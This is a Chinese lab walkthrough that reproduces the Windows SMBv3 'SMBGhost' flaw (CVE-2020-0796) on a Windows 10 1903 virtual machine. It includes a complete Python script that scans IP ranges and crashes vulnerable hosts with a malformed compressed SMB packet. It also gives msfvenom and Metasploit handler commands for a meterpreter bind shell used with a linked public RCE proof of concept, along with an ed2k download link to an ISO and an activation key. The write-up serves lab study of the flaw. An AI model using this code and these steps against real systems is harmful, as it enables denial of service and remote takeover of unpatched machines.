1. 漏洞介绍
在进行主机rce
漏洞复现的时候,发现win10除了永恒之蓝之外,Windows10
还存在永恒之黑漏洞,在这里通过安装镜像来测试下,中间遇到巨多的问题,最后复现成功。
1.1 漏洞描述
2020年3月,微软公布SMB远程代码执行漏洞(CVE-2020-0796)又称“永恒之黑”,该漏洞由SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
• 漏洞名称:SMB远程代码执行漏洞、永恒之黑、SMBGhost
• 漏洞编号:CVE-2020-0796
• 漏洞危害等级:高
• 影响平台:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
以上来源于:https://blog.csdn.net/byt8563/article/details/107163118
请注意,在这影响的windows10
版本是1903
的,在这里参考了很多文章,发现存在漏洞的镜像如下:
ed2k://|file|cn_windows_10_consumer_editions_version_1903_updated_nov_2019_x64_dvd_055b3530.iso|5409650688|EBA2C4E4A7B30C55FA9C042DB7461675|/
直接下载即可,下载之后就开始安装,在这里使用虚拟机进行安装。激活码:
W269N-WFGWX-YVC9B-4J6C9-T83GX
1.2 安装注意事项
我在这里使用mac
上的VMware fusion
安装,最好断网安装,安装好之后,记得关闭更新:
安装之后,第一时间关闭防火墙,关闭Windows defender
:
最后确认当前版本信息:
2. 漏洞复现
靶机的ip
信息:
2.1 蓝屏代码测试
在这里使用以下代码可以直接使得有漏洞的系统蓝屏,但是在我测试的过程中发现能够蓝屏的系统,不一定可以rce
,代码来源于网上,来源我也不是很清楚了:
import socket, struct, sys from netaddr import IPNetwork class Smb2Header: def __init__(self, command, message_id): self.protocol_id = "\xfeSMB" self.structure_size = "\x40\x00" # Must be set to 0x40 self.credit_charge = "\x00" * 2 self.channel_sequence = "\x00" * 2 self.channel_reserved = "\x00" * 2 self.command = command self.credits_requested = "\x00" * 2 # Number of credits requested / granted self.flags = "\x00" * 4 self.chain_offset = "\x00" * 4 # Points to next message self.message_id = message_id self.reserved = "\x00" * 4 self.tree_id = "\x00" * 4 # Changes for some commands self.session_id = "\x00" * 8 self.signature = "\x00" * 16 def get_packet(self): return self.protocol_id + self.structure_size + self.credit_charge + self.channel_sequence + self.channel_reserved + self.command + self.credits_requested + self.flags + self.chain_offset + self.message_id + self.reserved + self.tree_id + self.session_id + self.signature class Smb2NegotiateRequest: def __init__(self): self.header = Smb2Header("\x00" * 2, "\x00" * 8) self.structure_size = "\x24\x00" self.dialect_count = "\x08\x00" # 8 dialects self.security_mode = "\x00" * 2 self.reserved = "\x00" * 2 self.capabilities = "\x7f\x00\x00\x00" self.guid = "\x01\x02\xab\xcd" * 4 self.negotiate_context = "\x78\x00" self.additional_padding = "\x00" * 2 self.negotiate_context_count = "\x02\x00" # 2 Contexts self.reserved_2 = "\x00" * 2 self.dialects = "\x02\x02" + "\x10\x02" + "\x22\x02" + "\x24\x02" + "\x00\x03" + "\x02\x03" + "\x10\x03" + "\x11\x03" # SMB 2.0.2, 2.1, 2.2.2, 2.2.3, 3.0, 3.0.2, 3.1.0, 3.1.1 self.padding = "\x00" * 4 def context(self, type, length): data_length = length reserved = "\x00" * 4 return type + data_length + reserved def preauth_context(self): hash_algorithm_count = "\x01\x00" # 1 hash algorithm salt_length = "\x20\x00" hash_algorithm = "\x01\x00" # SHA512 salt = "\x00" * 32 pad = "\x00" * 2 length = "\x26\x00" context_header = self.context("\x01\x00", length) return context_header + hash_algorithm_count + salt_length + hash_algorithm + salt + pad def compression_context(self): compression_algorithm_count = "\x03\x00" # 3 Compression algorithms padding = "\x00" * 2 flags = "\x01\x00\x00\x00" algorithms = "\x01\x00" + "\x02\x00" + "\x03\x00" # LZNT1 + LZ77 + LZ77+Huffman length = "\x0e\x00" context_header = self.context("\x03\x00", length) return context_header + compression_algorithm_count + padding + flags + algorithms def get_packet(self): padding = "\x00" * 8 return self.header.get_packet() + self.structure_size + self.dialect_count + self.security_mode + self.reserved + self.capabilities + self.guid + self.negotiate_context + self.additional_padding + self.negotiate_context_count + self.reserved_2 + self.dialects + self.padding + self.preauth_context() + self.compression_context() + padding class NetBIOSWrapper: def __init__(self, data): self.session = "\x00" self.length = struct.pack('>i', len(data)).decode('latin1')[1:] self.data = data def get_packet(self): return self.session + self.length + self.data class Smb2CompressedTransformHeader: def __init__(self, data): self.data = data self.protocol_id = "\xfcSMB" self.original_decompressed_size = struct.pack('<i', len(self.data)).decode('latin1') self.compression_algorithm = "\x01\x00" self.flags = "\x00" * 2 self.offset = "\xff\xff\xff\xff" # Exploit the vulnerability def get_packet(self): return self.protocol_id + self.original_decompressed_size + self.compression_algorithm + self.flags + self.offset + self.data def send_negotiation(sock): negotiate = Smb2NegotiateRequest() packet = NetBIOSWrapper(negotiate.get_packet()).get_packet() sock.send(packet.encode('latin1')) sock.recv(3000) def send_compressed(sock, data): compressed = Smb2CompressedTransformHeader(data) packet = NetBIOSWrapper(compressed.get_packet()).get_packet() sock.send(packet.encode('latin1')) sock.recv(1000) def darkness_attack(ip: str): sock = socket.socket(socket.AF_INET) sock.settimeout(3) sock.connect((ip, 445)) send_negotiation(sock) try: send_compressed(sock, "JST" * 100) except Exception: return True return False def scanner(ip): pkt = b'\x00\x00\x00\xc0\xfeSMB@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$\x00\x08\x00\x01\x00\x00\x00\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x02\x00\x00\x00\x02\x02\x10\x02"\x02$\x02\x00\x03\x02\x03\x10\x03\x11\x03\x00\x00\x00\x00\x01\x00&\x00\x00\x00\x00\x00\x01\x00 \x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\n\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00' for ip in IPNetwork(ip): sock = socket.socket(socket.AF_INET) sock.settimeout(3) try: sock.connect((str(ip), 445)) except: sock.close() continue sock.send(pkt) nb, = struct.unpack(">I", sock.recv(4)) res = sock.recv(nb) if res[68:70] != b"\x11\x03" or res[70:72] != b"\x02\x00": print(f"{ip} Not vulnerable.") else: darkness_attack(str(ip)) print(f"{ip} Vulnerable") if __name__ == "__main__": print(scanner('192.168.135.23')) # if len(sys.argv) != 2: # exit("[-] Usage: {} target_ip".format(sys.argv[0]))
在最后修改ip
地址信息就可以了,直接运行,就得到了蓝屏:
代码运行前:
代码运行后:
2.2 RCE
攻击机:mac
+ msf
靶机:带有永恒之黑漏洞的Windows10
系统,ip:192.168.135.23
请注意,如果上述可以打蓝屏,但不代表可以RCE
!这一点很重要,因为在实际运用的过程中发生过这样的情况,尝试非常多次都是无法获取会话。
在这里使用github
上的工具进行:
https://github.com/chompie1337/SMBGhost_RCE_PoC.git
首先需要使用msfvenom
来生成shellcode
,替换上述链接中的shellcode
:
msfvenom -p windows/x64/meterpreter/bind_tcp lport=8443 -f py -o shellcode.txt
在这里使用的端口是靶机的端口8443
,端口可以任意:
然后复制shellcode
的内容,将其中的buf
关键字替换为USER_PAYLOAD
;
全部复制:
在这里替换关键字:
将shellcode
中的关键字buf
替换为USER_PAYLOAD
替换原来程序中exploit.py
中USER_PAYLOAD
的部分:
替换之后,再准备msf
的部分:
开启msf
,使用监听模块:
msfconsole -q use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set lport 8443 set rhost 192.168.135.23 //靶机地址 run
此时使用刚刚的脚本来运行:
python3 exploit.py -ip 192.168.135.23
在这个脚本中,我注释掉了作者加的那句input
,不影响程序的运行:
此时执行,发现蓝屏,在这个脚本执行的时候,可能有多次蓝屏的情况,在实战中慎用:
等靶机启动之后,再执行看下,此时成功:
当然,在这里还有其他的情况,比如执行脚本失败等,可以多执行几次,也会出现脚本执行完之后,没有回弹会话的情况,可以把msf
的监听停掉,再run
以下看看,说不定可以。
但是有些环境下确实是可以测试出蓝屏,但是无法RCE
,不知道是不是和硬件也有关系。
3. 总结
永恒之黑这个漏洞,慎用!